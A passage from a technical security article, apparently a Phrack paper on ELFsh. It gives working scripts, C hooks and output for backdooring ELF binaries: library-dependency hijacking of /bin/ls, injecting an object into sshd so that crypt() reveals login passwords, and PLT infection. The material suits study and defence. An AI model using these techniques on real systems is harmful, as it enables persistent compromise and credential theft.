[01] Name of needed library            =>           libc.so.6 {DT_NEEDED}
[09] Name of needed library            =>             rt.so.1 {DT_NEEDED}

[*] Object ls.new unloaded

$ ldconfig                  # refresh /etc/ld.so.cache
$
-----END EXAMPLE 4-----
```

This method is not extremely stealth because a simple command can list all the library dependances for a given binary:

```
$ ldd /tmp/ls.new
        librt.so.1 => /lib/librt.so.1 (0x40021000)
        libc.so.6 => /lib/libc.so.6 (0x40033000)
        rt.so.1 => /lib/rt.so.1 (0x40144000)
        libpthread.so.0 => /lib/libpthread.so.0 (0x40146000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
$
```

Is the executable still working?

```
$ ./ls.new
AcroOlAAFj  ELFSH_DEBUG  ls.new  newlib.c
$
```

OK, so we found a good way to inject as much code as we want in a process, by adding a library dependance to the main object, the executable object. Now what if we want to hijack functions with such an easy technique? We can force some symbols to get resolved in priority over other symbols : when the runtime relocation is done (when the .got section is patched), the runtime linker will iterate on the link_map [6] [7] [8] list, find the first matching symbol, and fill the Global Offset Table related entry (or the Procedure Linkage Table entry if we are on SPARC) with the absolute runtime address where the function is mapped. A simple technique consists of swapping DT_NEEDED entries and make our own library to be present before other libraries in the link_map double linked list, and symbols to be resolved before the original symbols. In order to call the original function from the hook function, we will have to use dlopen(3) and dlsym(3) so that we can resolve a symbol for a given object.

Lets take the same code, and this time, write a script which can hijack opendir(3) to our own function(), and then call the original opendir(), so that the binary can be run normally:

```
-----BEGIN EXAMPLE 5-----
$ cat dlhijack.esh
#!/usr/bin/elfsh

load /bin/ls

# Move DT_DEBUG into DT_NEEDED
set 1.dynamic[9].tag DT_NEEDED

# Put the former DT_DEBUG entry value to the first DT_NEEDED value
set 1.dynamic[9].val 1.dynamic[0].val

# Add 3 to the first DT_NEEDED value => librt.so.1 becomes rt.so.1
add 1.dynamic[0].val 3

save ls.new
quit

$
-----END EXAMPLE 5-----
```

Now let’s write the opendir hook code:

```
-----BEGIN EXAMPLE 6-----
$ cat myopendir.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <dirent.h>
#include <dlfcn.h>
```

```
#define LIBC_PATH       "/lib/libc.so.6"

DIR     *opendir(const char *name)
{
  void  *handle;
  void  *(*sym)(const char *name);

  handle = dlopen(LIBC_PATH, RTLD_LAZY);
  sym = (void *) dlsym(handle, "opendir");
  printf("OPENDIR HIJACKED -orig- = %08X .::. -param- = %s \n",
                        sym, name);
  return (sym(name));
}
$ gcc -shared myopendir.c -o rt.so.1 -ldl
$
-----END EXAMPLE 6-----
```

Now we can modify the binary using our 4 lines script:

```
-----BEGIN EXAMPLE 7-----
$ ./dlhijack.esh

  Welcome to The ELF shell 0.5b9 .::.

  .::. This software is under the General Public License
  .::. Please visit http://www.gnu.org to know about Free Software

  ~load /bin/ls
    [*] New object /bin/ls loaded on Fri Jul 25 02:48:19 2003

  ~set 1.dynamic[9].tag DT_NEEDED
    [*] Field set succesfully

  ~set 1.dynamic[9].val 1.dynamic[0].val
    [*] Field set succesfully

  ~add 1.dynamic[0].val 3
    [*] Field modified succesfully

  ~save ls.new
    [*] Object ls.new save successfully

   ~quit
    [*] Unloading object 1 (/bin/ls) *

 Good bye ! .::. The ELF shell 0.5b9

$
-----END EXAMPLE 7-----
```

Let's see the results for the original ls, and then for the modified ls:

```
$ ldd ls.new
       rt.so.1 => /lib/rt.so.1 (0x40021000)
       libc.so.6 => /lib/libc.so.6 (0x40023000)
       librt.so.1 => /lib/librt.so.1 (0x40134000)
       libdl.so.2 => /lib/libdl.so.2 (0x40146000)
       /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
       libpthread.so.0 => /lib/libpthread.so.0 (0x4014a000)
$ ls
c.so.6  dlhijack.esh  dlhijack.esh~  ls.new  myopendir.c  \
myopendir.c~  p61_ELF.txt  p61_ELF.txt~  rt.so.1
$ ./ls.new
```

```
 OPENDIR HIJACKED -orig- = 400C1D5C .::. -param- = .
 c.so.6  dlhijack.esh  dlhijack.esh~  ls.new  myopendir.c \
 myopendir.c~  p61_ELF.txt  p61_ELF.txt~  rt.so.1
 $
```

Nice. Note that the current implementation of this technique in ELFsh changes the size of the binary because it injects automatically some symbols for binary sanity. If you want to keep the same size, you have to comment the calls to elfsh_fixup_symtab in the ELFsh source code ;) . This stuff is known to be used in the wild.

The dynamic version of this technique has been proposed in [9], where the author describes how to call dlopen() in a subversive way, so that the process get runtime linked with an extra library. In practice, both implementations have nothing in common, but it is worth mentionning.

-------[3. Residency : ET_REL injection into ET_EXEC

This second technique allows to perform relinking of the ELF ET_EXEC binary file and adding a relocatable object (ET_REL file aka .o file) into the program address space. This is very useful since it is a powerful method to inject as much data and code as needed in a file using a 5 lines script.

Such relocation based backdoors have been developped in the past for static kernel patching [10] (ET_REL into vmlinuz) and direct LKM loading in kernel memory (ET_REL into kmem) [11] . However, this ET_REL injection into ET_EXEC implementation is in my sense particulary interresting since it has been implemented considering a larger scope of target architectures and for protected environments.

Because ELFsh is also used for things other than backdooring, the SHT and the symbol table are kept synchronized when we insert our stuff into the binary, so that symbol resolving can be provided even in the injected code.

Since the backdoor needs to stay valid on a PaX protected box, we use 2 different injection techniques (one for the code sections, the other for the data sections) called section pre-interp injection (because we insert the new section before the .interp section) and section post-bss injection (because we insert the new section after the .bss section).

For this second injection type, .bss data physical insertion into the file is necessary, since .bss is the non-initialized data section, it is only referenced by the SHT and PHT, but it is not present in the file.

Also, note that section pre-interp injection is not possible with the current FreeBSD dynamic linker (some assert() kills the modified binary), so all sections are injected using a post-bss insertion on this OS. This is not an issue since FreeBSD does not come with non-executable protection for datapages. If such a protection comes in the future, we would have to modify the dynamic linker itself before being able to run the modified binary, or make the code segment writable in sh_flags.

Let's look at the binary layout (example is sshd, it is the same for all the binaries) :

```
 -----BEGIN EXAMPLE 8-----
 $ elfsh -f /usr/sbin/sshd -q -s -p

[SECTION HEADER TABLE .::. SHT is not stripped]
[Object /usr/sbin/sshd]

[000] (nil)      -------                   foff:00000000 sz:00000000 link:00
[001] 0x80480f4  a------ .interp           foff:00000244 sz:00000019 link:00
[002] 0x8048108  a------ .note.ABI-tag     foff:00000264 sz:00000032 link:00
[003] 0x8048128  a------ .hash             foff:00000296 sz:00001784 link:04
[004] 0x8048820  a------ .dynsym           foff:00002080 sz:00003952 link:05
[005] 0x8049790  a------ .dynstr           foff:00006032 sz:00002605 link:00
[006] 0x804a1be  a------ .gnu.version      foff:00008638 sz:00000494 link:04
[007] 0x804a3ac  a------ .gnu.version_r    foff:00009132 sz:00000096 link:05
[008] 0x804a40c  a------ .rel.got          foff:00009228 sz:00000008 link:04
[009] 0x804a414  a------ .rel.bss          foff:00009236 sz:00000056 link:04
[010] 0x804a44c  a------ .rel.plt          foff:00009292 sz:00001768 link:04
[011] 0x804ab34  a-x---- .init             foff:00011060 sz:00000037 link:00
[012] 0x804ab5c  a-x---- .plt              foff:00011100 sz:00003552 link:00
[013] 0x804b940  a-x---- .text             foff:00014656 sz:00145276 link:00
[014] 0x806f0bc  a-x---- .fini             foff:00159932 sz:00000028 link:00
[015] 0x806f0e0  a------ .rodata           foff:00159968 sz:00068256 link:00
[016] 0x8080b80  aw----- .data             foff:00228224 sz:00003048 link:00
[017] 0x8081768  aw----- .eh_frame         foff:00231272 sz:00000004 link:00
[018] 0x808176c  aw----- .ctors            foff:00231276 sz:00000008 link:00
[019] 0x8081774  aw----- .dtors            foff:00231284 sz:00000008 link:00
[020] 0x808177c  aw----- .got              foff:00231292 sz:00000900 link:00
[021] 0x8081b00  aw----- .dynamic          foff:00232192 sz:00000200 link:05
[022] 0x8081bc8  -w----- .sbss             foff:00232416 sz:00000000 link:00
[023] 0x8081be0  aw----- .bss              foff:00232416 sz:00025140 link:00
[024] (nil)      ------- .comment          foff:00232416 sz:00002812 link:00
[025] (nil)      ------- .note             foff:00235228 sz:00001480 link:00
[026] (nil)      ------- .shstrtab         foff:00236708 sz:00000243 link:00
[027] (nil)      ------- .symtab           foff:00236951 sz:00000400 link:00
[028] (nil)      ------- .strtab           foff:00237351 sz:00000202 link:00

[Program header table .::. PHT]
[Object /usr/sbin/sshd]

[0] 0x08048034 -> 0x080480F4 r-x memsz(000192) foff(000052) filesz(000192)
[1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(000244) filesz(000019)
[2] 0x08048000 -> 0x0807FB80 r-x memsz(228224) foff(000000) filesz(228224)
[3] 0x08080B80 -> 0x08087E14 rw- memsz(029332) foff(228224) filesz(004168)
[4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(232192) filesz(000200)
[5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(000264) filesz(000032)

[Program header table .::. SHT correlation]
[Object /usr/sbin/sshd]

[*] SHT is not stripped

[00] PT_PHDR
[01] PT_INTERP           .interp
[02] PT_LOAD             .interp .note.ABI-tag .hash .dynsym .dynstr \
                         .gnu.version .gnu.version_r .rel.got .rel.bss \
                         .rel.plt .init .plt .text .fini .rodata
[03] PT_LOAD             .data .eh_frame .ctors .dtors .got .dynamic
[04] PT_DYNAMIC          .dynamic
[05] PT_NOTE             .note.ABI-tag

 $
 -----END EXAMPLE 8-----
```

We have here two loadable segments, one is executable (matches the code segment) and the other is writable (matches the data segment).

What we have to do is to inject all non-writable sections before

.interp (thus in the code segment), and all other section's after .bss in the data segment. Let's code a handler for crypt() which prints the clear password and exit. In this first example, we will use GOT redirection [12] and hijack crypt() which stays in the libc:

```
-----BEGIN EXAMPLE 9-----
$ cat mycrypt.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

int     glvar = 42;
int     bssvar;

char *mycrypt(const char *key, const char *salt)
{
  bssvar = 2;
  printf(".:: crypt redirected -key- = %s (%u .::. %u) \n",
        key, glvar, bssvar);
  exit(0);
}
$ gcc -c mycrypt.c
$
-----END EXAMPLE 9-----
```

Using the 'reladd' command, we will inject mycrypt.o into sshd:

```
 -----BEGIN EXAMPLE 10-----
 $ cat etreladd.esh
 #!/usr/bin/elfsh

 load /usr/sbin/sshd
 load mycrypt.o

 # Inject mycrypt.o into sshd
 reladd 1 2

 # Modify crypt() got entry and make it point on mycrypt() which resides
 # into mycrypt.o
 set 1.got[crypt] mycrypt

 save sshd.new
 quit

 $ ./etreladd.esh

         Welcome to The ELF shell 0.5b9 .::.

         .::. This software is under the General Public License
         .::. Please visit http://www.gnu.org to know about Free Software

~load /usr/sbin/sshd
  [*] New object /usr/sbin/sshd loaded on Fri Jul 25 04:43:58 2003

~load mycrypt.o
  [*] New object mycrypt.o loaded on Fri Jul 25 04:43:58 2003

~reladd 1 2
  [*] ET_REL mycrypt.o injected succesfully in ET_EXEC /usr/sbin/sshd

~set 1.got[crypt] mycrypt
  [*] Field set succesfully
```

```
~save sshd.new
  [*] Object sshd.new save successfully

~quit
 [*] Unloading object 1 (mycrypt.o)
 [*] Unloading object 2 (/usr/sbin/sshd) *

         Good bye ! .::. The ELF shell 0.5b9
 $
 -----END EXAMPLE 10-----
```

Our script rocked. As I said, the symbol tables and the .bss from the module have been fused with those from the executable file and the SHT has been kept synchronized, so that resolving is also possible in the injected code:

```
 -----BEGIN EXAMPLE 11-----
 $ elfsh -f sshd.new -q -s -p
[SECTION HEADER TABLE .::. SHT is not stripped]
[Object sshd.new]

[00] (nil)      -------                  foff:00000000 sz:00000000 link:00
[01] 0x80450f4  a-x---- .orig.plt        foff:00000244 sz:00004096 link:00
[02] 0x80460f4  a------ mycrypt.o.rodata foff:00004340 sz:00004096 link:00
[03] 0x80470f4  a-x---- mycrypt.o.text   foff:00008436 sz:00004096 link:00
[04] 0x80480f4  a------ .interp          foff:00012532 sz:00000019 link:00
[05] 0x8048108  a------ .note.ABI-tag    foff:00012552 sz:00000032 link:00
[06] 0x8048128  a------ .hash            foff:00012584 sz:00001784 link:07
[07] 0x8048820  a------ .dynsym          foff:00014368 sz:00003952 link:08
[08] 0x8049790  a------ .dynstr          foff:00018320 sz:00002605 link:00
[09] 0x804a1be  a------ .gnu.version     foff:00020926 sz:00000494 link:07
[10] 0x804a3ac  a------ .gnu.version_r   foff:00021420 sz:00000096 link:08
[11] 0x804a40c  a------ .rel.got         foff:00021516 sz:00000008 link:07
[12] 0x804a414  a------ .rel.bss         foff:00021524 sz:00000056 link:07
[13] 0x804a44c  a------ .rel.plt         foff:00021580 sz:00001768 link:07
[14] 0x804ab34  a-x---- .init            foff:00023348 sz:00000037 link:00
[15] 0x804ab5c  a-x---- .plt             foff:00023388 sz:00003552 link:00
[16] 0x804b940  a-x---- .text            foff:00026944 sz:00145276 link:00
[17] 0x806f0bc  a-x---- .fini            foff:00172220 sz:00000028 link:00
[18] 0x806f0e0  a------ .rodata          foff:00172256 sz:00068256 link:00
[19] 0x8080b80  aw----- .data            foff:00240512 sz:00003048 link:00
[20] 0x8081768  aw----- .eh_frame        foff:00243560 sz:00000004 link:00
[21] 0x808176c  aw----- .ctors           foff:00243564 sz:00000008 link:00
[22] 0x8081774  aw----- .dtors           foff:00243572 sz:00000008 link:00
[23] 0x808177c  aw----- .got             foff:00243580 sz:00000900 link:00
[24] 0x8081b00  aw----- .dynamic         foff:00244480 sz:00000200 link:08
[25] 0x8081bc8  -w----- .sbss            foff:00244704 sz:00000000 link:00
[26] 0x8081be0  aw----- .bss             foff:00244704 sz:00025144 link:00
[27] 0x8087e18  aw----- mycrypt.o.data   foff:00269848 sz:00000004 link:00
[28] (nil)      ------- .comment         foff:00269852 sz:00002812 link:00
[29] (nil)      ------- .note            foff:00272664 sz:00001480 link:00
[30] (nil)      ------- .shstrtab        foff:00274144 sz:00000300 link:00
[31] (nil)      ------- .symtab          foff:00274444 sz:00004064 link:00
[32] (nil)      ------- .strtab          foff:00278508 sz:00003423 link:00

[Program header table .::. PHT]
[Object sshd.new]

[0] 0x08045034 -> 0x080450F4 r-x memsz(000192) foff(000052) filesz(000192)
[1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(012532) filesz(000019)
[2] 0x08045000 -> 0x0807FB80 r-x memsz(240512) foff(000000) filesz(240512)
[3] 0x08080B80 -> 0x08087E1C rw- memsz(029340) foff(240512) filesz(029340)
[4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(244480) filesz(000200)
[5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(012552) filesz(000032)

[Program header table .::. SHT correlation]
```

```
[Object sshd.new]

[*] SHT is not stripped

[0] PT_PHDR
[1] PT_INTERP           .interp
[2] PT_LOAD             .orig.plt mycrypt.o.rodata mycrypt.o.text .interp
                        .note.ABI-tag .hash .dynsym .dynstr .gnu.version
                        .gnu.version_r .rel.got .rel.bss .rel.plt .init
                        .plt .text .fini .rodata
[3] PT_LOAD             .data .eh_frame .ctors .dtors .got .dynamic .sbss
                        .bss mycrypt.o.data
[4] PT_DYNAMIC          .dynamic
[5] PT_NOTE             .note.ABI-tag

 $
 -----END EXAMPLE 11-----
```

The new sections can be easily spotted in the new SHT, since their name starts with the module name (mycrypt.o.*). Please elude the .orig.plt presence for the moment. This section is injected at ET_REL insertion time, but it is not used in this example and it will be explained as a stand-alone technique in the next chapter.

We can see that the new BSS size is 4 bytes bigger than the original one. It is because the module BSS was only filled with one variable (bssvar), which was a 4 bytes sized integer since this specific example was done on a 32 bits architecture. The difficulty of this operation is to find the ET_REL object BSS section size, because it is set to 0 in the SHT. For this operation, we need to care about variable address alignement using the st_value field from each SHN_COMMON symbols of the ET_REL object, as specified by the ELF reference. Details for this algorithm are given later in the article.

It works on Solaris as well, even if ET_REL files generated by Solaris-ELF ld have no .bss section entry in the SHT. The 0.51b2 implementation has one more limitation on Solaris, which is a 'Malloc problem' happening at the first malloc() call when using a section post-bss injection. You dont have to use this kind of section injection ; ET_REL injection works well on Solaris if you do not use initialized global variables. This problem has been solved in 0.51b3 by shifting _end, _edata, and _END_ dynamic symbols so that they still points on the beginning of the heap (e.g. at the end of the last post-bss mapped section, or at the end of the bss, if there is no post-bss mapped section).

Also, the .shstrtab, .symtab, and .strtab sections have been extended, and now contain extra symbol names, extra section names, and extra symbols copied from the ET_REL object.

You can note that pre-interp injected sections base address is congruent getpagesize(), so that the executable segment always starts at the beginning of a page, as requested by the ELF reference. ELFsh could save some place here, instead of allocating the size of a page each time a section is injected, but that would complexify the algorithm a bit, so the congruence is kept for each inserted section.

The implementation has the cool advantage of -NOT- having to move the original executable address space, so that no relocation of the original code is needed. In other words, only the .o object sections are relocated and we can be sure that no false positive relocation is possible (e.g. we -DO NOT- have to find all references in the sshd code and patch them because the address space changed).

This is the injected code section's assembly dump, which contains the mycrypt function:

```
-----BEGIN EXAMPLE 12-----
$ elfsh -f sshd.new -q -D mycrypt.o.text

080470F4 mycrypt.o.text + 0            push          %ebp
080470F5 mycrypt.o.text + 1            mov           %esp,%ebp
080470F7 mycrypt.o.text + 3            sub           $8,%esp
080470FA mycrypt.o.text + 6            mov           $2,<bssvar>
08047104 mycrypt.o.text + 16           mov           <bssvar>,%eax
08047109 mycrypt.o.text + 21           push          %eax
0804710A mycrypt.o.text + 22           mov           <glvar>,%eax
0804710F mycrypt.o.text + 27           push          %eax
08047110 mycrypt.o.text + 28           mov           8(%ebp),%eax
08047113 mycrypt.o.text + 31           push          %eax
08047114 mycrypt.o.text + 32           push          $<mycrypt.o.rodata>
08047119 mycrypt.o.text + 37           call          <printf>
0804711E mycrypt.o.text + 42           add           $10,%esp
08047121 mycrypt.o.text + 45           add           $0xFFFFFFF4,%esp
08047124 mycrypt.o.text + 48           push          $0
08047126 mycrypt.o.text + 50           call          <exit>
0804712B mycrypt.o.text + 55           add           $10,%esp
0804712E mycrypt.o.text + 58           lea           0(%esi),%esi
08047134 mycrypt.o.text + 64           leave
08047135 mycrypt.o.text + 65           ret
-----END EXAMPLE 12-----
```

Lets test our new sshd:

```
$ ssh mayhem@localhost
Enter passphrase for key '/home/mayhem/.ssh/id_dsa': <-- type <ENTER>
mayhem@localhost's password: <--- type your passwd
Connection closed by 127.0.0.1
$
```

Let's verify on the server side what happened:

```
 $ ./sshd.new -d
debug1: Seeding random number generator
debug1: sshd version OpenSSH_3.0.2p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
debug1: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 40619
debug1: Client protocol version 2.0; client software version OpenSSH_3.5p1
debug1: match: OpenSSH_3.5p1 pat ^OpenSSH
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.0.2p1
debug1: Rhosts Authentication disabled, originating port 40619 not trusted
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
```

```
debug1: dh_gen_key: priv key bits set: 127/256
debug1: bits set: 1597/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1613/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user mayhem service ssh-connection method \
none
debug1: attempt 0 failures 0
Failed none for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
publickey
debug1: attempt 1 failures 1
debug1: test whether pkalg/pkblob are acceptable
debug1: temporarily_use_uid: 1000/31337 (e=0)
debug1: trying public key file /home/mayhem/.ssh/authorized_keys
debug1: matching key found: file /home/mayhem/.ssh/authorized_keys, line 1
debug1: restore_uid
Postponed publickey for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
keyboard-interactive
debug1: attempt 2 failures 1
debug1: keyboard-interactive devs
debug1: auth2_challenge: user=mayhem devs=
debug1: kbdint_alloc: devices ''
Failed keyboard-interactive for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
password
debug1: attempt 3 failures 2
.:: crypt redirected -key- = mytestpasswd (42 .::. 2)
 $
```

Fine. If you want extreme details on the implementation, please read the ELFsh code, particulary libelfsh/relinject.c. For the academic audience, the pseudo-code algorithms are provided. Because ET_REL injection is based on BSS and Symbol table fusion, section pre-interp injection, section post-bss injection, SHT shifting, SHT entry insertion, symbol injection, and section data injection, all those algorithms are also available. The BSS physical insertion is performed only once, at the first use of post-bss injection. The general algorithm for ET_REL injection is as follow:

```
 1/ Fuse ET_REL and ET_EXEC .bss sections
 2/ Find and inject ET_REL allocatable sections into ET_EXEC
 3/ Synchronize ET_EXEC symbol table (inject missing ET_REL symbols)
 4/ Relocate each injected section if its .rel(a) table is available
```

Now let's give some details ;)

--------[.:: MAIN ALGORITHM : ET_REL injection into ET_EXEC ::.

```
       1/ Insert ET_REL object .bss into ET_EXEC (see BSS fusion algo)

       2/ FOREACH section in ET_REL object
          [
             IF section is a/ allocatable (sh_flags & SHF_ALLOC)
```

```
                           b/ non-null sized (sh_size != 0)
                           c/ data-typed (sh_type == SHT_PROGBITS)
             [

                IF section is writable -or- OS is FreeBSD
                [
                  - Inject post-bss section into ET_EXEC
                ]
                ELSE
                [
                  - Inject pre-interp section into ET_EXEC
                ]
             ]
          ]

       3/ Insert ET_REL .symtab into ET_EXEC (symtab fusion algorithm)

       4/ FOREACH section in ET_REL object
       [
          IF a/ section has been injected in 2. (same conditions)
             b/ section needs relocation (.rel.sctname is found in ET_REL)
          [
              - Relocate the section
          ]
       ]


--------[ BSS fusion algorithm


       - Insert ET_EXEC BSS physically if not already done (see next algo)
       FOREACH symbol from the ET_REL object
       [
          IF symbol points into the BSS (st_shndx & SHN_COMMON)
          [
             WHILE ET_EXEC .bss size is not aligned (sh_size % st_value)
             [
               - Increment by 1 the .bss size field (sh_size)
             ]
             - Insert symbol w/ st_value = .bss sh_addr + .bss sh_size
             - Add symbol size to ET_EXEC .bss size (sh_size)
          ]
       ]


---------[ BSS physical insertion algorithm


         FOREACH PHT entry
         [
                IF a/ segment is loadable (p_type == PT_LOAD)
                   b/ segment is writable (p_flags & PF_W)
                [
                  - Put p_memsz value into p_filesz
                  - End of algorithm
                ]
         ]


--------[ Symbol Tables fusion algorithm


       FOREACH symbol in ET_REL object
       [
          IF Symbol type is function (STT_FUNC) or variable (STT_OBJECT)
          [
             - Get parent section for this symbol using st_shndx field
             IF Parent section has been injected in 2. (same conditions)
             [
                - Add section's base address to the symbol value
                - Inject new symbol into ET_EXEC
             ]
          ]
       ]


--------[ Section pre-interp injection algorithm

        - Compute section size congruent with page size
        - Create new section's header
        - Inject section header (see SHT header insertion algorithm)
        FOREACH PHT entry
        [
           IF a/ segment type is loadable (p_type == PT_LOAD)
              b/ segment is executable (p_flags & PF_X)
           [
              - Add section's size to p_filesz and p_memsz
              - Substract section's size from p_vaddr and p_paddr
           ]
           ELSE IF segment type is PT_PHDR
           [
              - Substract section's size from p_vaddr and p_paddr
           ]
           ELSE
           [
              - Add section's size to p_offset
           ]
       ]
       - Shift SHT (see algorithm below)


---------[ Section post-bss injection algorithm


        - Create new section's header
        - Inject section header (see SHT header insertion algorithm)
        FOREACH PHT entry
        [
           IF a/ segment is loadable (p_type == PT_LOAD)
              b/ segment is writable (p_flags & PF_W)
           [
              - Add section's size to p_memsz and p_filesz
              - End of algorithm
           ]
        ]
        - Shift SHT by the section size (see next algorithm)


---------[ SHT shifting algorithm


        FOREACH SHT entry
        [
           IF current linked section (sh_link) points after new section
           [
              - Increment by 1 the sh_link field
           ]
           IF current file offset > injected section file offset
           [
              - Add injected section sh_size to current sh_offset
           ]
        ]


---------[ SHT header insertion algorithm
```

```
        - Insert new section's name into .shstrtab
        - Insert new entry in SHT at requested range
        - Increment by 1 the e_shnum field in ELF header
        FOREACH SHT entry
        [
           IF current entry file offset is after SHT file offset
           [
              - Add e_shentsize from ELF header to current sh_offset
           ]
        ]
        IF injected section header sh_offset <= SHT file offset
        [
          - Add new section size (sh_size) to e_shoff field in ELF header
        ]
        IF requested new section range <= section string table index
        [
           - Increment sh_strndx field in ELF header
        ]
```

---------[Symbol injection algorithm

```
        - Insert symbol name into .strtab section
        - Insert symbol entry into .symtab section
```

---------[Section data injection algorithm (apply to all type of section)

```
        - Insert data into section
        - Add injected data size to section's sh_size
        IF SHT file offset > section file offset
        [
          - Add injected data size to e_shoff in ELF header
        ]
        FOREACH SHT entry
        [
           IF current entry sh_offset field > extended section file offset
           [
              IF current entry sh_addr field is non-null
              [
                 - Add injected data size to sh_addr
              ]
              - Add injected data size to sh_offset
           ]
        ]
        IF extended section sh_addr is non-null
        [
           FOREACH symbol table entry
           [
              IF symbol points after extended section former upper bound
              [
                 - Add injected data size to st_value field
              ]
           ]
        ]
```

The relocation (step 4) algorithm wont be detailed, because it is already all explained in the ELF reference. In short, the relocation process consists in updating all the addresses references in the injected ET_REL code, using the available merged symbol tables in the ET_EXEC file. There are 12 relocation types on INTEL and 56 relocations types on SPARC, however, only 2 types are mostly used on INTEL, and only 3 on SPARC for ET_REL objects.

This last stage is a switch/case based algorithm, which has in charge to update some bytes, many times, in each injected mapped section. The relocation tables contains all the information necessary for this operation, their name is .rel.<target> (or .rela.<target> on SPARC), with <target> beeing the section which is going to be relocated using this table). Those sections can be easily found just parsing the SHT and looking for sections whoose st_type is SHT_REL (or SHT_RELA on SPARC).

What makes the ELFsh relocation engine powerful, is the using of both symbol table (.symtab and .dynsym), which means that the injected code can resolve symbols from the executable itself, e.g. it is possible to call the core functions of the executable, as well as existing .plt entries from the backdoor code, if their symbol value is available. For more details about the relocation step, please look at the ELFsh code in libelfsh/relinject.c, particulary at the elfsh_relocate_i386 and and elfsh_relocate_sparc.

As suggested in the previous paragraph, ELFsh has a limitation since it is not possible to call functions not already present in the binary. If we want to call such functions, we would have to add information for the dynamic linker, so that the function address can be resolved in runtime using the standard GOT/PLT mechanism. It would requires .got, .plt, .rel.plt, .dynsym, .dynstr, and .hash extensions, which is not trivial when we dont want to move the binary data and code zones from their original addresses.

Since relocation information is not available for ET_EXEC ELF objects, we woulnt be sure that our reconstructed relocation information would be 100% exact, without having a very strong and powerful dataflow analysis engine. This was proved by modremap (modules/modremap.c) written by spacewalkr, which is a SHT/PHT/symtab shifter. Coupled to the ELFsh relocation finder (vm/findrel.c), this module can remap a ET_EXEC binary in another place of the address space. This is known to work for /bin/ls and various /bin/* but bigger binaries like ssh/sshd cannot be relocated using this technique, because valid pointers double words are not always real pointers in such bins (false positives happen in hash values).

For this reason, we dont want to move ET_EXEC section's from their original place. Instead, it is probably possible to add extra sections and use big offsets from the absolute addresses stored into .dynamic, but this feature is not yet provided. A careful choice of external functions hijacking is usually enough to get rid of the non-present symbol problem, even if this 'extra-function resolving' feature will probably be implemented in the future. For some sections like .hash, it may be necessary to do a copy of the original section after .bss and change the referenced address in the .dynamic section, so that we can extend the hash without moving any original code or data.

-------[4. Infection : ALTPLT technique

Now that we have a decent residency technique in ET_REL injection, let's focus on a new better infection technique than GOT redirection and PLT infection : the ALTPLT technique. This new technique takes advantage of the symbol based function address resolving of the previous technique, as detailed below.

ALTPLT is an improvement of PLT infection technique. Silvio Cesare describes how to modify the .plt section, in order to redirect function calls to library onto another code, so called the hook code. From [4], the algorithm of original .plt infection:

-----%<-------%<--------%<---------%<----------%<--------%<---------

'' The algorithm at the entry point code is as follows...

- mark the text segment writable
- save the PLT(GOT) entry
- replace the PLT(GOT) entry with the address of the new libcall

The algorithm in the new library call is as follows...

- do the payload of the new libcall
- restore the original PLT(GOT) entry
- call the libcall
- save the PLT(GOT) entry again (if it is changed)
- replace the PLT(GOT) entry with the address of the new libcall ''

-----%<-------%<--------%<---------%<----------%<--------%<---------

The implementation of such an algorithm was presented in x86 assembly language using segment padding residency. This technique is not enough because:

1/ It is architecture dependant
2/ Strict segments rights may not be kept consistant (PaX unsafe)
3/ The general layout of the technique lacks a formal interface

The new ALTPLT technique consists of copying the Procedure Linkage Table (.plt) to an alternative section, called .orig.plt, using a pre-interp injection, so that it resides in the read-only code segment. For each entry of the .orig.plt, we create and inject a new reference symbol, which name the same as the .plt entry symbol at the same index, except that it starts by 'old_'.

Using this layout, we are able to perform standard PLT infection on the original .plt section, but instead of having a complex architecture dependant hook code, we use an injected function residing in hook.o.text, which is the text section of an ET_REL module that was injected using the technique described in the previous part of the paper.

This way, we can still call the original function using old_funcname(), since the injected symbol will be available for the relocation engine, as described in the ET_REL injection algorithm ;).

We keep the GOT/PLT mechanism intact and we rely on it to provide a normal function address resolution, like in every dynamic executable files. The .got section will now be unique for both .plt and .orig.plt sections. The added section .orig.plt is a strict copy of the original .plt, and will not ever be overwritten. In other words, .orig.plt is PaX safe. The only difference will be that original .plt entries may not use .got, but might be redirected on another routine using a direct branchement instruction.

Let's look at an example where the puts() function is hijacked, and the puts_troj() function is called instead.

On INTEL:

```
-----BEGIN EXAMPLE 13-----
old_puts + 0   jmp  *<_GLOBAL_OFFSET_TABLE_ + 20>      FF 25 00 97 04 08
old_puts + 6   push          $10                      68 10 00 00 00
old_puts + 11  jmp           <old_dlresolve>          E9 C0 FF FF FF

puts + 0       jmp           <puts_troj>              E9 47 ED FF FF
puts + 5       or            %ch,10(%eax)             08 68 10
